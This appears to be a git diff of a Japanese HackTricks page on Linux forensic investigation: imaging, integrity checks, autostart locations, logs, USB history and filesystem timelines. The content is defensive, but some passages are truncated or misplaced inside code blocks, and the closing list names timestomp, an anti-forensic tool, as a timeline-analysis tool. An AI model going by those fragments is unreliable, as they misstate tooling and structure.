||||
LiMEはまた、`path=tcp:4444`のような方法を使用して、システムに保存する代わりにダンプを**ネットワーク経由で送信する**ためにも使用できます。
|
||||
|
@ -85,7 +85,7 @@ LiMEはまた、`path=tcp:4444`のような方法を使用して、システム
|
|||
まず、**システムをシャットダウンする**必要があります。これは常にオプションではありません。会社がシャットダウンする余裕のないプロダクションサーバーの場合もあります。\
|
||||
システムをシャットダウンするには、**通常のシャットダウン**と**「プラグを抜く」シャットダウン**の2つの方法があります。前者は**プロセスが通常通り終了**し、**ファイルシステムが同期**されることを許しますが、**マルウェア**が**証拠を破壊**する可能性もあります。後者の「プラグを抜く」アプローチでは、**一部の情報が失われる**可能性があります(メモリのイメージを既に取得しているため、情報の損失はほとんどありません)が、**マルウェアは何もできません**。したがって、**マルウェア**が存在する可能性がある場合は、システムで**`sync`** **コマンド**を実行してからプラグを抜いてください。
|
||||
|
||||
#### ディスクのイメージを取る
|
||||
#### ディスクのイメージを取得する
|
||||
|
||||
ケースに関連する何かにコンピュータを接続する**前に**、情報を変更しないようにするために、それが**読み取り専用でマウントされることを確認する**必要があります。
|
||||
```bash
|
||||
|
@ -151,10 +151,10 @@ r/r 16: secret.txt
|
|||
icat -i raw -f ext4 disk.img 16
|
||||
ThisisTheMasterSecret
|
||||
```
|
||||
![](<../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化することができます。\
|
||||
今すぐアクセスを取得してください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -163,7 +163,7 @@ ThisisTheMasterSecret
|
|||
|
||||
### 変更されたシステムファイル
|
||||
|
||||
一部のLinuxシステムには、多くのインストール済みコンポーネントの整合性を検証する機能があり、異常または場所にないファイルを特定する効果的な方法を提供します。たとえば、Linuxの`rpm -Va`は、RedHat Package Managerを使用してインストールされたすべてのパッケージを検証するために設計されています。
|
||||
一部のLinuxシステムには、多くのインストール済みコンポーネントの整合性を検証する機能があり、異常なファイルや場所にないファイルを特定する効果的な方法です。たとえば、Linuxの`rpm -Va`は、RedHat Package Managerを使用してインストールされたすべてのパッケージを検証するために設計されています。
|
||||
```bash
|
||||
#RedHat
|
||||
rpm -Va
|
||||
|
@ -194,7 +194,7 @@ rpm -qa --root=/ mntpath/var/lib/rpm
|
|||
```
|
||||
### その他
|
||||
|
||||
上記のコマンドでは、すべてのインストールされたプログラムがリストされるわけではありません。なぜなら、一部のアプリケーションは特定のシステム向けのパッケージとして利用できず、ソースコードからインストールする必要があるからです。そのため、_**/usr/local**_ や _**/opt**_ などの場所を調べることで、ソースコードからコンパイルしてインストールされた他のアプリケーションが見つかるかもしれません。
|
||||
上記のコマンドでは、すべてのインストールされたプログラムがリストされるわけではありません。なぜなら、一部のアプリケーションは特定のシステム向けのパッケージとして利用できず、ソースコードからインストールする必要があるからです。そのため、_**/usr/local**_ や _**/opt**_ などの場所を調査することで、ソースコードからコンパイルしてインストールされた他のアプリケーションが見つかるかもしれません。
|
||||
```bash
|
||||
ls /opt /usr/local
|
||||
```
|
||||
|
@ -206,10 +206,10 @@ find /sbin/ -exec dpkg -S {} \; | grep "no path found"
|
|||
#RedHat
|
||||
find /sbin/ –exec rpm -qf {} \; | grep "is not"
|
||||
```
|
||||
![](<../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化することができます。\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化することができます。\
|
||||
今すぐアクセスを取得してください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -236,7 +236,7 @@ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Libra
|
|||
```
|
||||
### サービス
|
||||
|
||||
マルウェアが新しい、許可されていないサービスとして浸透することは非常に一般的です。Linuxには、コンピュータの起動時にサービスを開始するために使用されるいくつかのスクリプトがあります。初期化の起動スクリプトである_**/etc/inittab**_は、_**/etc/rc.d/**_ディレクトリまたは一部の古いバージョンでは_**/etc/rc.boot/**_ディレクトリ、またはDebianなどの他のバージョンのLinuxでは_**/etc/init.d/**_ディレクトリの下のさまざまな起動スクリプトを呼び出します。さらに、一部の一般的なサービスは、Linuxのバージョンに応じて_**/etc/inetd.conf**_または_**/etc/xinetd/**_に有効にされます。デジタル調査官は、これらの起動スクリプトの各エントリを異常なものとして調査する必要があります。
|
||||
マルウェアが新しい、許可されていないサービスとして浸透することは非常に一般的です。Linuxには、コンピュータの起動時にサービスを開始するために使用されるいくつかのスクリプトがあります。初期化の起動スクリプトである _**/etc/inittab**_ は、_**/etc/rc.d/**_ ディレクトリまたは一部の古いバージョンでは _**/etc/rc.boot/**_ ディレクトリ、または _**/etc/init.d/**_ ディレクトリなど、他のスクリプトを呼び出します。また、Debianなどの他のバージョンのLinuxでは、起動スクリプトは _**/etc/init.d/**_ ディレクトリに格納されています。さらに、一部の一般的なサービスは、Linuxのバージョンに応じて _**/etc/inetd.conf**_ または _**/etc/xinetd/**_ に有効にされています。デジタル調査官は、これらの起動スクリプトの各エントリを異常なものとして調査する必要があります。
|
||||
|
||||
* _**/etc/inittab**_
|
||||
* _**/etc/rc.d/**_
|
||||
|
@ -249,15 +249,15 @@ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Libra
|
|||
|
||||
### カーネルモジュール
|
||||
|
||||
Linuxシステムでは、マルウェアパッケージのルートキットコンポーネントとしてカーネルモジュールが一般的に使用されます。カーネルモジュールは、システムの起動時に`/lib/modules/'uname -r'`および`/etc/modprobe.d`ディレクトリ、および`/etc/modprobe`または`/etc/modprobe.conf`ファイルの設定情報に基づいてロードされます。これらの領域は、マルウェアに関連するアイテムを調査するために検査する必要があります。
|
||||
Linuxシステムでは、マルウェアパッケージのルートキットコンポーネントとしてカーネルモジュールが一般的に使用されます。カーネルモジュールは、システムの起動時に `/lib/modules/'uname -r'` ディレクトリと `/etc/modprobe.d` ディレクトリ、および `/etc/modprobe` または `/etc/modprobe.conf` ファイルの設定情報に基づいてロードされます。これらの領域は、マルウェアに関連するアイテムを調査するために検査する必要があります。
|
||||
|
||||
### その他の自動起動場所
|
||||
|
||||
Linuxは、ユーザーがシステムにログインするときに実行可能ファイルを自動的に起動するために使用するいくつかの設定ファイルがあり、これらにはマルウェアの痕跡が含まれる可能性があります。
|
||||
|
||||
* _**/etc/profile.d/\***_、_**/etc/profile**_、_**/etc/bash.bashrc**_は、どのユーザーアカウントでもログインしたときに実行されます。
|
||||
* _**∼/.bashrc**_、_**∼/.bash\_profile**_、_**\~/.profile**_、_**∼/.config/autostart**_は、特定のユーザーがログインしたときに実行されます。
|
||||
* _**/etc/rc.local**_は、通常のシステムサービスがすべて起動した後、マルチユーザーランレベルに切り替えるプロセスの最後に実行されます。
|
||||
* _**/etc/profile.d/\***_ , _**/etc/profile**_ , _**/etc/bash.bashrc**_ は、どのユーザーアカウントがログインしても実行されます。
|
||||
* _**∼/.bashrc**_ , _**∼/.bash\_profile**_ , _**\~/.profile**_ , _**∼/.config/autostart**_ は、特定のユーザーがログインしたときに実行されます。
|
||||
* _**/etc/rc.local**_ は、通常のシステムサービスがすべて起動した後、マルチユーザーランレベルに切り替えるプロセスの最後に実行されます。
|
||||
|
||||
## ログの調査
|
||||
|
||||
|
@ -265,29 +265,29 @@ Linuxは、ユーザーがシステムにログインするときに実行可能
|
|||
|
||||
### 純粋なログ
|
||||
|
||||
システムログおよびセキュリティログに記録された**ログイン**イベントは、特定のアカウントを介して**マルウェア**または**侵入者がアクセス**したことを特定の時間に示すことができます。マルウェア感染の周辺での他のイベントは、システムログにキャプチャされることがあります。例えば、インシデントの時点での新しいサービスの作成や新しいアカウントの作成などです。\
|
||||
システムログやセキュリティログに記録された**ログイン**イベントは、特定のアカウントを介して**マルウェア**または**侵入者がアクセス**したことを特定の時間に示すことがあります。マルウェア感染の周辺で発生した他のイベントは、システムログにキャプチャされる場合があります。例えば、インシデントの発生時に新しいサービスや新しいアカウントの作成などです。\
|
||||
興味深いシステムログイン:
|
||||
|
||||
* **/var/log/syslog**(Debian)または**/var/log/messages**(Redhat)
|
||||
* **/var/log/syslog** (debian) または **/var/log/messages** (Redhat)
|
||||
* システム全体のアクティビティに関する一般的なメッセージと情報を表示します。
|
||||
* **/var/log/auth.log**(Debian)または**/var/log/secure**(Redhat)
|
||||
* 成功または失敗したログイン、および認証プロセスの認証ログを保持します。ストレージはシステムのタイプに依存します。
|
||||
* **/var/log/auth.log** (debian) または **/var/log/secure** (Redhat)
|
||||
* 成功または失敗したログイン、および認証プロセスの認証ログを保持します。保存場所はシステムのタイプによります。
|
||||
* `cat /var/log/auth.log | grep -iE "session opened for|accepted password|new session|not in sudoers"`
|
||||
* **/var/log/boot.log**:起動メッセージとブート情報。
|
||||
* **/var/log/maillog**または**var/log/mail.log**:メールサーバーログで、ポストフィックス、smtpd、またはサーバー上で実行されている関連するメールサービスの情報に便利です。
|
||||
* **/var/log/kern.log**:カーネルログと警告情報を保持します。カーネルのアクティビティログ(例:dmesg、kern.log、klog)は、特定のサービスが繰り返しクラッシュしたことを示す可能性があります。これは、不安定なトロイの木馬バージョンがインストールされたことを示しています。
|
||||
* **/var/log/dmesg**:デバイスドライバーメッセージのリポジトリです。このファイルのメッセージを表示するには、**dmesg**を使用します。
|
||||
* **/var/log/faillog**:失敗したログインの情報を記録します。したがって、ログイン資格情報のハックやブルートフォース攻撃などの潜在的なセキュリティ侵害を調査するのに便利です。
|
||||
* **/var/log/cron**:Crond関連のメッセージ(cronジョブ)の記録を保持します。cronデーモンがジョブを開始したときなどです。
|
||||
* **/var/log/daemon.log**:バックグラウンドサービスの実行状況を追跡しますが、それらをグラフィカルに表現しません。
|
||||
* **/var/log/btmp**:すべての失敗したログイン試行のメモを保持します。
|
||||
* **/var/log/httpd/**:Apache httpdデーモンのerror\_logおよびaccess\_logファイルが含まれるディレクトリです。httpdが遭遇したすべてのエラーは、**error\_log**ファイルに保持されます。メモリの問題や他のシステム関連のエラーなどです。**access\_log**は、HTTP経由で受信したすべてのリクエストをログに記録します。
|
||||
* **/var/log/mysqld.log**または**/var/log/mysql.log**:MySQLログファイルで、開始、停止、再起動などのすべてのデバッグ、失敗、成功メッセージを記録します。ディレクトリはシステムが決定します。RedHat、CentOS、Fedora、およびその他のRedHatベースのシステムでは、/var/log/mariadb/mariadb.logを使用します。ただし、Debian/Ubuntuでは/var/log/mysql/error.logディレクトリを使用します。
|
||||
* **/var/log/xferlog**:FTPファイル転送セッションを保持します。ファイル名やユーザーによるFTP転送などの情報が含まれます。
|
||||
* **/var/log/\***:このディレクトリに予期しないログがないか常に確認する必要があります
|
||||
* **/var/log/boot.log**: 起動メッセージとブート情報。
|
||||
* **/var/log/maillog** または **var/log/mail.log:** メールサーバーログで、ポストフィックス、smtpd、またはサーバー上で実行されている関連するメールサービスの情報に便利です。
|
||||
* **/var/log/kern.log**: カーネルログと警告情報を保持します。カーネルのアクティビティログ(例:dmesg、kern.log、klog)は、特定のサービスが繰り返しクラッシュしたことを示す可能性があり、不安定なトロイの木馬バージョンがインストールされていることを示す可能性があります。
|
||||
* **/var/log/dmesg**: デバイスドライバーメッセージのリポジトリです。このファイルのメッセージを表示するには、**dmesg** を使用します。
|
||||
* **/var/log/faillog:** 失敗したログインの情報を記録します。したがって、ログイン資格情報のハックやブルートフォース攻撃などの潜在的なセキュリティ侵害を調査するのに便利です。
|
||||
* **/var/log/cron**: Crond関連のメッセージ(cronジョブ)の記録を保持します。cronデーモンがジョブを開始したときなどです。
|
||||
* **/var/log/daemon.log:** バックグラウンドサービスの実行状況を追跡しますが、グラフィカルには表示されません。
|
||||
* **/var/log/btmp**: すべての失敗したログイン試行の記録を保持します。
|
||||
* **/var/log/httpd/**: Apache httpdデーモンの error\_log と access\_log ファイルが含まれるディレクトリです。httpdが遭遇したすべてのエラーは、**error\_log** ファイルに保持されます。メモリの問題やその他のシステム関連のエラーなどです。**access\_log** は、HTTP経由で受信したすべてのリクエストをログに記録します。
|
||||
* **/var/log/mysqld.log** または **/var/log/mysql.log**: MySQLのログファイルで、開始、停止、再起動などのすべてのデバッグ、失敗、成功メッセージを記録します。ディレクトリはシステムによって決まります。RedHat、CentOS、Fedora、およびその他のRedHatベースのシステムでは、/var/log/mariadb/mariadb.log を使用します。ただし、Debian/Ubuntuでは、/var/log/mysql/error.log ディレクトリを使用します。
|
||||
* **/var/log/xferlog**: FTPファイル転送セッションを保持します。ファイル名やユーザーによるFTP転送などの情報が含まれます。
|
||||
* **/var/log/\*** : このディレクトリに予期しないログがないか常に確認する必要があります
|
||||
|
||||
{% hint style="info" %}
|
||||
Linuxシステムのログと監査サブシステムは、侵入やマルウェアのインシデントで無効化または削除される場合があります。Linuxシステムのログには一般に最も有用な悪意のある活動に関する情報が含まれるため、侵入者は定期的にそれらを削除します。したがって、利用可能なログファイルを調査する際には、削除または改ざんの兆候となるギャップや順序外のエントリを探すことが重要です。
|
||||
Linuxシステムのログと監査サブシステムは、侵入やマルウェアのインシデントで無効化または削除される場合があります。Linuxシステムのログは一般的に悪意のある活動に関する最も有用な情報の一部を含んでいるため、侵入者は定期的にそれらを削除します。したがって、利用可能なログファイルを調査する際には、削除や改ざんの兆候となるギャップや順序の逆転を探すことが重要です。
|
||||
{% endhint %}
|
||||
|
||||
### コマンド履歴
|
||||
|
@ -301,20 +301,19 @@ Linuxシステムのログと監査サブシステムは、侵入やマルウェ
|
|||
|
||||
### ログイン
|
||||
|
||||
`last -Faiwx`コマンドを使用すると、ログインしたユーザーのリストを取得できます。\
|
||||
これらのログインが意味をな
|
||||
`last -
|
||||
### アプリケーションのトレース
|
||||
|
||||
* **SSH**: システムへのSSH接続は、侵害されたシステムからの接続として、各ユーザーアカウントのファイルにエントリが作成されます(_**∼/.ssh/authorized\_keys**_ および _**∼/.ssh/known\_keys**_)。これらのエントリには、リモートホストのホスト名またはIPアドレスが明示されている場合があります。
|
||||
* **Gnomeデスクトップ**: ユーザーアカウントには、Gnomeデスクトップで実行されるアプリケーションを使用して最近アクセスされたファイルに関する情報が含まれる _**∼/.recently-used.xbel**_ ファイルがある場合があります。
|
||||
* **VIM**: ユーザーアカウントには、VIMの使用に関する詳細が含まれる _**∼/.viminfo**_ ファイルがある場合があります。これには、検索文字列の履歴やvimを使用して開かれたファイルへのパスなどが含まれます。
|
||||
* **SSH**: 侵害されたシステムからSSHを使用してシステムへの接続が行われると、各ユーザーアカウントのファイルにエントリが作成されます(_**∼/.ssh/authorized\_keys**_および_**∼/.ssh/known\_keys**_)。これらのエントリには、リモートホストのホスト名またはIPアドレスが明らかになる場合があります。
|
||||
* **Gnomeデスクトップ**: ユーザーアカウントには、Gnomeデスクトップで実行されるアプリケーションを使用して最近アクセスされたファイルに関する情報が含まれる_**∼/.recently-used.xbel**_ファイルがある場合があります。
|
||||
* **VIM**: ユーザーアカウントには、VIMの使用に関する詳細(検索文字列の履歴やvimを使用して開かれたファイルへのパスなど)が含まれる_**∼/.viminfo**_ファイルがある場合があります。
|
||||
* **Open Office**: 最近のファイル。
|
||||
* **MySQL**: ユーザーアカウントには、MySQLを使用して実行されたクエリが含まれる _**∼/.mysql\_history**_ ファイルがある場合があります。
|
||||
* **Less**: ユーザーアカウントには、検索文字列の履歴やlessを介して実行されたシェルコマンドなど、lessの使用に関する詳細が含まれる _**∼/.lesshst**_ ファイルがある場合があります。
|
||||
* **MySQL**: ユーザーアカウントには、MySQLを使用して実行されたクエリが含まれる_**∼/.mysql\_history**_ファイルがある場合があります。
|
||||
* **Less**: ユーザーアカウントには、検索文字列の履歴やlessを介して実行されたシェルコマンドなど、lessの使用に関する詳細が含まれる_**∼/.lesshst**_ファイルがある場合があります。
|
||||
|
||||
### USBログ
|
||||
|
||||
[**usbrip**](https://github.com/snovvcrash/usbrip)は、Linuxのログファイル(ディストリビューションによっては `/var/log/syslog*` または `/var/log/messages*`)を解析してUSBイベント履歴テーブルを作成するための純粋なPython 3で書かれた小さなソフトウェアです。
|
||||
[**usbrip**](https://github.com/snovvcrash/usbrip)は、Linuxのログファイル(ディストリビューションによっては`/var/log/syslog*`または`/var/log/messages*`)を解析してUSBイベント履歴テーブルを作成するための純粋なPython 3で書かれた小さなソフトウェアです。
|
||||
|
||||
**使用されたすべてのUSBデバイスを知る**ことは興味深いですし、USBデバイスの「違反イベント」(そのリストに含まれていないUSBデバイスの使用)を見つけるために認可されたUSBデバイスのリストを持っているとさらに便利です。
|
||||
|
||||
|
@ -325,29 +324,105 @@ usbrip ids download #Download USB ID database
|
|||
```
|
||||
### 例
|
||||
|
||||
#### ファイルの復元
|
||||
#### Example 1: Collecting Volatile Data
|
||||
|
||||
ファイルの復元は、削除されたファイルを回復するための手法です。削除されたファイルは、実際にはディスク上に残っていることがあります。復元するためには、ファイルのヘッダやフッタ、およびファイルの中身を特定する必要があります。一般的なツールとしては、`foremost`や`scalpel`があります。
|
||||
#### 例1: 揮発性データの収集
|
||||
|
||||
#### メモリの解析
|
||||
To collect volatile data from a Linux system, follow these steps:
|
||||
|
||||
メモリの解析は、実行中のシステムのメモリを調査するための手法です。メモリには、プロセスの情報やユーザーのアクティビティなど、重要な情報が含まれています。メモリの解析には、`Volatility`や`Rekall`などのツールが使用されます。
|
||||
Linuxシステムから揮発性データを収集するには、以下の手順に従います。
|
||||
|
||||
#### ネットワークトラフィックの解析
|
||||
1. Log in to the Linux system using appropriate credentials.
|
||||
|
||||
ネットワークトラフィックの解析は、ネットワーク上で送受信されるデータを調査する手法です。ネットワークトラフィックには、通信の詳細やパケットの内容など、重要な情報が含まれています。ネットワークトラフィックの解析には、`Wireshark`や`tcpdump`などのツールが使用されます。
|
||||
適切な資格情報を使用してLinuxシステムにログインします。
|
||||
|
||||
#### ログの解析
|
||||
2. Open a terminal and run the following command to list all running processes:
|
||||
|
||||
ログの解析は、システムやアプリケーションのログファイルを調査する手法です。ログには、システムの動作やイベントの記録が含まれています。ログの解析には、`grep`や`awk`などのツールが使用されます。
|
||||
ターミナルを開き、次のコマンドを実行して実行中のすべてのプロセスをリストします。
|
||||
|
||||
#### レジストリの解析
|
||||
```bash
|
||||
ps aux
|
||||
```
|
||||
|
||||
レジストリの解析は、Windowsシステムのレジストリデータベースを調査する手法です。レジストリには、システムの設定やユーザーのアクティビティなど、重要な情報が含まれています。レジストリの解析には、`RegRipper`や`Registry Explorer`などのツールが使用されます。
|
||||
3. Take note of any suspicious or unfamiliar processes running on the system.
|
||||
|
||||
#### フォレンジックイメージの作成
|
||||
システムで実行されている不審なプロセスや見慣れないプロセスに注意を払います。
|
||||
|
||||
フォレンジックイメージの作成は、証拠を保護するためにディスクやメモリのコピーを作成する手法です。フォレンジックイメージは、解析や復元作業を行う際に使用されます。フォレンジックイメージの作成には、`dd`や`dcfldd`などのツールが使用されます。
|
||||
4. Run the following command to gather information about network connections:
|
||||
|
||||
次のコマンドを実行してネットワーク接続に関する情報を収集します。
|
||||
|
||||
```bash
|
||||
netstat -antp
|
||||
```
|
||||
|
||||
5. Analyze the network connections and identify any suspicious or unauthorized connections.
|
||||
|
||||
ネットワーク接続を分析し、不審な接続や不正な接続を特定します。
|
||||
|
||||
6. Run the following command to check the open files and processes associated with them:
|
||||
|
||||
次のコマンドを実行して、開いているファイルとそれに関連するプロセスを確認します。
|
||||
|
||||
```bash
|
||||
lsof
|
||||
```
|
||||
|
||||
7. Look for any unusual or unexpected files or processes that may indicate malicious activity.
|
||||
|
||||
悪意のある活動を示す可能性のある異常なファイルやプロセスを探します。
|
||||
|
||||
8. Finally, collect any relevant logs or system information that may be useful for further analysis.
|
||||
|
||||
最後に、さらなる分析に役立つ可能性のある関連するログやシステム情報を収集します。
|
||||
|
||||
#### Example 2: Analyzing File Metadata
|
||||
|
||||
#### 例2: ファイルメタデータの分析
|
||||
|
||||
To analyze file metadata in a Linux system, follow these steps:
|
||||
|
||||
Linuxシステムでファイルメタデータを分析するには、以下の手順に従います。
|
||||
|
||||
1. Identify the file you want to analyze.
|
||||
|
||||
分析したいファイルを特定します。
|
||||
|
||||
2. Run the following command to view the metadata of the file:
|
||||
|
||||
次のコマンドを実行して、ファイルのメタデータを表示します。
|
||||
|
||||
```bash
|
||||
stat <filename>
|
||||
```
|
||||
|
||||
Replace `<filename>` with the actual name of the file.
|
||||
|
||||
`<filename>`を実際のファイル名に置き換えます。
|
||||
|
||||
3. Take note of the file's permissions, owner, size, and timestamps.
|
||||
|
||||
ファイルのパーミッション、所有者、サイズ、およびタイムスタンプに注意を払います。
|
||||
|
||||
4. Run the following command to check the file's hash value:
|
||||
|
||||
次のコマンドを実行して、ファイルのハッシュ値を確認します。
|
||||
|
||||
```bash
|
||||
md5sum <filename>
|
||||
```
|
||||
|
||||
Replace `<filename>` with the actual name of the file.
|
||||
|
||||
`<filename>`を実際のファイル名に置き換えます。
|
||||
|
||||
5. Compare the obtained hash value with the known hash value of the file to verify its integrity.
|
||||
|
||||
取得したハッシュ値をファイルの既知のハッシュ値と比較して、整合性を確認します。
|
||||
|
||||
6. Additionally, you can use tools like `file`, `strings`, or `hexdump` to gather more information about the file.
|
||||
|
||||
さらに、`file`、`strings`、または`hexdump`などのツールを使用して、ファイルに関する詳細情報を収集することもできます。
|
||||
```
|
||||
usbrip events history #Get USB history of your curent linux machine
|
||||
usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user
|
||||
|
@ -355,98 +430,100 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR
|
|||
usbrip ids download #Downlaod database
|
||||
usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
|
||||
```
|
||||
さらなる例や情報は、GitHub内で確認できます:[https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
|
||||
さらなる例や情報は、[https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)で確認できます。
|
||||
|
||||
![](<../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**することができます。\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフロー**を簡単に構築および**自動化**できます。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## ユーザーアカウントとログオンアクティビティの確認
|
||||
|
||||
不正なイベントに関連して近くで作成または使用された、異常な名前やアカウントを含む_**/etc/passwd**_、_**/etc/shadow**_、および**セキュリティログ**を調査します。また、sudoによるブルートフォース攻撃の可能性もチェックします。\
|
||||
さらに、ユーザーに与えられた予期しない特権を持つファイル(_**/etc/sudoers**_や_**/etc/groups**_など)も確認します。\
|
||||
不正なイベントに関連して近くで作成または使用された、異常な名前やアカウントを含む_**/etc/passwd**_、_**/etc/shadow**_、および**セキュリティログ**を調べます。また、sudoによるブルートフォース攻撃の可能性もチェックします。\
|
||||
さらに、ユーザーに与えられた予期しない特権を確認するために、_**/etc/sudoers**_や_**/etc/groups**_などのファイルもチェックします。\
|
||||
最後に、パスワードのないアカウントや簡単に推測できるパスワードを持つアカウントを探します。
|
||||
|
||||
## ファイルシステムの調査
|
||||
|
||||
ファイルシステムのデータ構造は、**マルウェア**のインシデントに関連する**情報**(イベントのタイミングや**マルウェア**の実際の**内容**など)を提供する場合があります。\
|
||||
**マルウェア**は、ファイルシステムの解析を困難にするために、日時スタンプを変更するなどの手法を使用することが増えています。他の悪意のあるコードは、ファイルシステムに格納されるデータ量を最小限に抑えるために、特定の情報のみをメモリに保存するように設計されています。\
|
||||
このようなアンチフォレンジック技術に対処するためには、ファイルシステムの日時スタンプのタイムライン分析に**注意を払う**必要があります。また、マルウェアが見つかる可能性のある一般的な場所に保存されたファイルにも注意を払う必要があります。
|
||||
ファイルシステムのデータ構造は、**マルウェア**のインシデントに関連する**情報**、イベントの**タイミング**、および実際の**マルウェア**の**内容**など、大量の情報を提供する場合があります。\
|
||||
**マルウェア**は、ファイルシステムの解析を妨げるために設計されることが増えています。一部のマルウェアは、タイムライン分析でそれらを見つけるのをより困難にするために、悪意のあるファイルの日時スタンプを変更します。他の悪意のあるコードは、ファイルシステムに格納されるデータ量を最小限に抑えるために、特定の情報のみをメモリに保存するように設計されています。\
|
||||
このようなアンチフォレンジックテクニックに対処するためには、ファイルシステムの日時スタンプのタイムライン分析に**注意を払う**必要があります。また、マルウェアが見つかる可能性のある一般的な場所に保存されたファイルにも注意を払う必要があります。
|
||||
|
||||
* **autopsy**を使用すると、疑わしい活動を発見するのに役立つイベントのタイムラインを確認できます。また、**Sleuth Kit**の`mactime`機能を直接使用することもできます。
|
||||
* **autopsy**を使用すると、疑わしい活動を発見するのに役立つイベントのタイムラインを表示できます。また、**Sleuth Kit**の`mactime`機能も直接使用できます。
|
||||
* **$PATH**内に予期しないスクリプトがないか確認します(おそらくいくつかのshスクリプトやphpスクリプトがありますか?)
|
||||
* `/dev`内のファイルは特殊なファイルであるはずですが、マルウェアに関連する特殊でないファイルが見つかる場合があります。
|
||||
* `/dev`内のファイルは特殊なファイルでしたが、ここにはマルウェアに関連する特殊でないファイルがあるかもしれません。
|
||||
* ".. "(ドットドットスペース)や"..^G "(ドットドットコントロールG)などの異常なまたは**隠しファイル**や**ディレクトリ**を探します。
|
||||
* システム上の/bin/bashのsetuidコピー `find / -user root -perm -04000 –print`
|
||||
* 削除された**inodeの日時スタンプ**を確認し、同じ時期に大量のファイルが削除されている場合は、ルートキットのインストールやトロイの木馬化されたサービスのインストールなどの悪意のある活動を示している可能性があります。
|
||||
* システム上の/bin/bashのsetuidコピーを探す`find / -user root -perm -04000 –print`
|
||||
* 削除された**inodeの日時スタンプを確認し、同じ時期に大量のファイルが削除されている**場合、ルートキットのインストールやトロイの木馬化されたサービスのような悪意のある活動を示している可能性があります。
|
||||
* inodeは次に利用可能な基準で割り当てられるため、**同じ時期にシステムに配置された悪意のあるファイルは連続したinodeが割り当てられる**場合があります。したがって、マルウェアの1つのコンポーネントが見つかった後は、隣接するinodeを調査することが生産的である場合があります。
|
||||
* _/bin_や_/sbin_などのディレクトリも確認し、新しいまたは変更されたファイルの**変更された時刻**を調べます。
|
||||
* ファイルやフォルダをアルファベット順ではなく、作成日時順に並べ替えたディレクトリのファイルとフォルダを見ると、より最近のファイルやフォルダがわかります(通常、最後のものです)。
|
||||
* _/bin_や_/sbin_などのディレクトリもチェックし、新しいまたは変更されたファイルの**変更された時刻**を調べます。
|
||||
* ファイルやフォルダをアルファベット順ではなく、作成日時でソートされたディレクトリのファイルとフォルダを見ると、より最近のファイルやフォルダがわかります(通常、最後のものです)。
|
||||
|
||||
`ls -laR --sort=time /bin`を使用して、フォルダの最新のファイルを確認できます。\
|
||||
`ls -lai /bin |sort -n`を使用して、フォルダ内のファイルのinodeを確認できます。
|
||||
|
||||
{% hint style="info" %}
|
||||
**攻撃者**は**時間**を**変更**して**ファイルを正規に見せかける**ことができますが、**inode**を変更することはできません。同じフォルダ内の他のファイルと同じように、あるファイルが作成および変更されたと示されているが、**inode**が予期しないほど大きい場合、そのファイルの**タイムスタンプが変更された**ことを意味します。
|
||||
**攻撃者**は**ファイルの時間**を**変更**して**ファイルを正規に見せる**ことができますが、**inode**は**変更できません**。同じフォルダ内の他のファイルと同じ時刻に作成および変更されたことを示す**ファイル**があり、しかし**inode**が**予期しないほど大きい**場合、そのファイルのタイムスタンプが**変更された**ことを意味します。
|
||||
{% endhint %}
|
||||
|
||||
## 異なるファイルシステムバージョンの比較
|
||||
## 異なるファイルシステムバージョンのファイルを比較する
|
||||
|
||||
#### 追加されたファイルの検索
|
||||
#### 追加されたファイルを見つける
|
||||
```bash
|
||||
git diff --no-index --diff-filter=A _openwrt1.extracted/squashfs-root/ _openwrt2.extracted/squashfs-root/
|
||||
```
|
||||
#### 変更されたコンテンツの検索
|
||||
|
||||
To find modified content in a Linux system, you can use various techniques and tools. Here are some methods you can follow:
|
||||
To find modified content on a Linux system, you can use various techniques and tools. Here are some steps you can follow:
|
||||
|
||||
1. **File Timestamps**: Check the timestamps of files to identify recently modified files. The `stat` command can be used to view the access, modification, and change timestamps of a file.
|
||||
1. **Timeline Analysis**: Analyze the system's timeline to identify any suspicious activities or changes. This can be done using tools like `fls`, `mactime`, or `timestomp`.
|
||||
|
||||
2. **Log Files**: Analyze system log files such as `/var/log/syslog` or `/var/log/auth.log` to identify any suspicious activities or modifications.
|
||||
